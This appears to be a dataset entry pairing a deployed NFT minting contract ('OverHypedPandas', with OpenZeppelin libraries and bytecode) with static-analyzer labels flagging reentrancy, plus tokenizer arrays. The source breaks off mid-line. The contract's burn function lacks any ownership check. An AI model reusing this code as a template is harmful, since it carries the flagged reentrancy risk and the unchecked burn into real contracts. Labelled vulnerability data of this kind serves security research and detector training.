ff196bdf7a9910160405180910390a260018055565b600060015b600360ff8216116126855760ff8116600090815260086020908152604080832054600790925290912054612667919061311b565b61267190836130c8565b91508061267d8161320d565b915050612633565b50600454612693908261311b565b905090565b60005473ffffffffffffffffffffffffffffffffffffffff163314612719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610827565b73ffffffffffffffffffffffffffffffffffffffff81166127bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610827565b6127c581612ab5565b50565b60005473ffffffffffffffffffffffffffffffffffffffff163314612849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610827565b600060025460ff1660048111156128625761286261325c565b146128c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4f776e65723a205068617365206d7573742062652050656e64696e67000000006044820152606401610827565b73ffffffffffffffffffffffffffffffffffffffff811660009081526009602052604090206001015460ff1661295b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4f776e65723a2054696572206e6f742073657420666f722075736572000000006044820152606401610827565b73ffffffffffffffffffffffffffffffffffffffff811660009081526009602090815260408083206001015460ff1683526008909152812080549161299f8361319f565b909155505073ffffffffffffffffffffffffffffffffffffffff811660008181526009602090815260409182902060010180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905590519182527fe9dce8c992623ce791725b21e857e33248d1f190a25b5168313420eebdaae99d91016108e1565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052612ab0908490612b2a565b505050565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000612b8c826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16612c369092919063ffffffff16565b805190915015612ab05780806020019051810190612baa9190612efb565b612ab0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610827565b6060612c458484600085612c4f565b90505b9392505050565b606082471015612ce1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610827565b843b612d49576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610827565b6000808673ffffffffffffffffffffffffffffffffffffffff168587604051612d729190612fb5565b60006040518083038185875af1925050503d8060008114612daf576040519150601f19603f3d011682016040523d82523d6000602084013e612db4565b606091505b5091509150612dc4828286612dcf565b979650505050505050565b60608315612dde575081612c48565b825115612dee5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108279190613077565b803573ffffffffffffffffffffffffffffffffffffffff81168114612e4657600080fd5b919050565b803560ff81168114612e4657600080fd5b600060208284031215612e6e57600080fd5b612c4882612e22565b600080600060408486031215612e8c57600080fd5b833567ffffffffffffffff80821115612ea457600080fd5b818601915086601f830112612eb857600080fd5b813581811115612ec757600080fd5b8760208260051b8501011115612edc57600080fd5b602092830195509350612ef29186019050612e4b565b90509250925092565b600060208284031215612f0d57600080fd5b81518015158114612c4857600080fd5b600060208284031215612f2f57600080fd5b813560058110612c4857600080fd5b600060208284031215612f5057600080fd5b5035919050565b600060208284031215612f6957600080fd5b5051919050565b600060208284031215612f8257600080fd5b612c4882612e4b565b60008060408385031215612f9e57600080fd5b612fa783612e4b565b946020939093013593505050565b60008251612fc781846020870161316f565b9190910192915050565b6040808252810183905260008460608301825b8681101561301f5773ffffffffffffffffffffffffffffffffffffffff61300a84612e22565b16825260209283019290910190600101612fe4565b50809250505060ff83166020830152949350505050565b6020810160058310613071577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b91905290565b602081526000825180602084015261309681604085016020870161316f565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b600082198211156130db576130db61322d565b500190565b600082613116577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131535761315361322d565b500290565b60008282101561316a5761316a61322d565b500390565b60005b8381101561318a578181015183820152602001613172565b83811115613199576000848401525b50505050565b6000816131ae576131ae61322d565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132065761320661322d565b5060010190565b600060ff821660ff8114156132245761322461322d565b60010192915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fdfea2646970667358221220b41c51c432ee08c2a2d35fef2b6dcd14cf93df5ccf8de757e6acd6c2d2d9411664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2487, 19797, 2094, 2620, 6305, 2497, 2581, 2487, 2278, 2620, 22394, 2683, 16703, 21057, 2546, 2692, 2094, 2575, 2509, 2050, 21472, 16576, 29097, 14141, 2063, 26187, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1063, 2219, 3085, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1063, 2128, 4765, 5521, 5666, 18405, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1000, 1025, 12324, 1063, 29464, 11890, 11387, 1010, 3647, 2121, 2278, 11387, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,628
0x957234D2293907702ecb6854Bd64Bb76385871f2
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./ClaimableERC721Tradable.sol"; contract OverHypedPandas is ClaimableERC721Tradable, ReentrancyGuard { using Counters for Counters.Counter; uint256 private launchTimestamp; uint256 private publicSaleTimestamp; uint256 private maxMintsWalletAddress = 10; uint256 private totalPandasCount = 5000; uint256 private tokenTiersCount = 4; // Excluding Giveaways tier uint256 private whiteListedCount = 0; // Excluding Giveaways tier uint256 private totalSalesCount = 0; bool paused = false; mapping(address => bool) private whiteListed; mapping(address => uint256) private userMints; mapping(uint256 => uint256) private tierPrices; mapping(uint256 => uint256) private tierSales; mapping(uint256 => uint256) private tierAmounts; mapping(uint256 => uint256) private tokenTiers; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress, uint256 _launchTimestamp, uint256 _publicSaleTimestamp) ERC721Tradable(_name, _symbol, _proxyRegistryAddress) { tierPrices[0] = 950000000000000000; // 0.95 ETH tierPrices[1] = 750000000000000000; // 0.75 ETH tierPrices[2] = 500000000000000000; // 0.50 ETH tierPrices[3] = 250000000000000000; // 0.25 ETH tierAmounts[0] = 750; tierAmounts[1] = 1000; tierAmounts[2] = 1250; tierAmounts[3] = 1750; tierAmounts[4] = 250; // Giveaways launchTimestamp = _launchTimestamp; publicSaleTimestamp = _publicSaleTimestamp; } function mintPanda(uint256 _tier) public payable { require(_tier < tokenTiersCount, "Invalid tier"); require(block.timestamp >= launchTimestamp && (block.timestamp >= publicSaleTimestamp || whiteListed[_msgSender()] == true), "Sale still not open"); require(msg.value >= tierPrices[_tier], "Insufficient ETH"); require(userMints[_msgSender()] + 1 <= maxMintsWalletAddress, "Minting exceeded"); userMints[_msgSender()] += 1; _mintPanda(_tier, _msgSender()); } function mintGiveaway(uint256 _tier, address _to) external onlyOwner { require(_tier <= tokenTiersCount, "Invalid tier"); require(_to != address(0), "Invalid destination address"); _mintPanda(_tier, _to); } function _mintPanda(uint256 _tier, address _to) private { require(!paused, "Minting is paused"); require(totalSalesCount < totalPandasCount && tierSales[_tier] < tierAmounts[_tier], "Tier sold-out"); uint256 tokenId = _nextTokenId.current(); _nextTokenId.increment(); _safeMint(_to, tokenId); tokenTiers[tokenId] = _tier; totalSalesCount += 1; tierSales[_tier] += 1; emit PandaMinted(_to, tokenId, _tier); } function addToWhitelist(address[] memory _addresses) external onlyOwner { require(_addresses.length > 0, "No addresses"); for (uint256 i = 0; i < _addresses.length; i++) { whiteListed[_addresses[i]] = true; whiteListedCount += 1; emit AddedToWhiteList(_addresses[i]); } } function movePandasTier(uint256 _amount, uint256 _fromTier, uint256 _toTier) external onlyOwner { require(_fromTier <= tokenTiersCount && _toTier <= tokenTiersCount, "Invalid tier"); require(tierAmounts[_fromTier] - tierSales[_fromTier] >= _amount, "Not enough pandas to move"); tierAmounts[_fromTier] -= _amount; tierAmounts[_toTier] += _amount; emit PandasMoved(_amount, _fromTier, _toTier); } function removeFromWhitelist(address _address) external onlyOwner { require(whiteListed[_address] == true, "Not whitelisted"); whiteListed[_address] = false; whiteListedCount--; emit RemovedFromWhiteList(_address); } function setPaused(bool _paused) external onlyOwner { paused = _paused; } function burn(uint256 _tokenId) external { _burn(_tokenId); } function baseTokenURI() override public pure returns (string memory) { return "https://nft-meta.overhyped.io/pandas/series1/"; } function getAvailableByTier(uint256 _tier) public view returns(uint256 amount) { return tierAmounts[_tier] - tierSales[_tier]; } function getTierOf(uint256 _tokenId) public view returns(uint256 tier) { return tokenTiers[_tokenId]; } function getTotalSales() public view onlyOwner returns(uint256 total) { return totalSalesCount; } function getWhitelistedSaleOpen() public view returns(bool open) { return block.timestamp >= launchTimestamp; } function getPublicSaleOpen() public view returns(bool open) { return block.timestamp >= publicSaleTimestamp; } /** Events **/ event PandaMinted(address indexed minter, uint256 indexed tokenId, uint256 indexed tier); event PandasMoved(uint256 indexed amount, uint256 indexed fromTier, uint256 indexed toTier); event AddedToWhiteList(address indexed whitelistAddress); event RemovedFromWhiteList(address indexed removedAddress); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "./opensea/ERC721Tradable.sol"; /** * @title Claimable Methods * @dev Implementation of the claiming utils that can be useful for withdrawing accidentally sent tokens that are not used in bridge operations. */ abstract contract ClaimableERC721Tradable is ERC721Tradable { using SafeERC20Upgradeable for 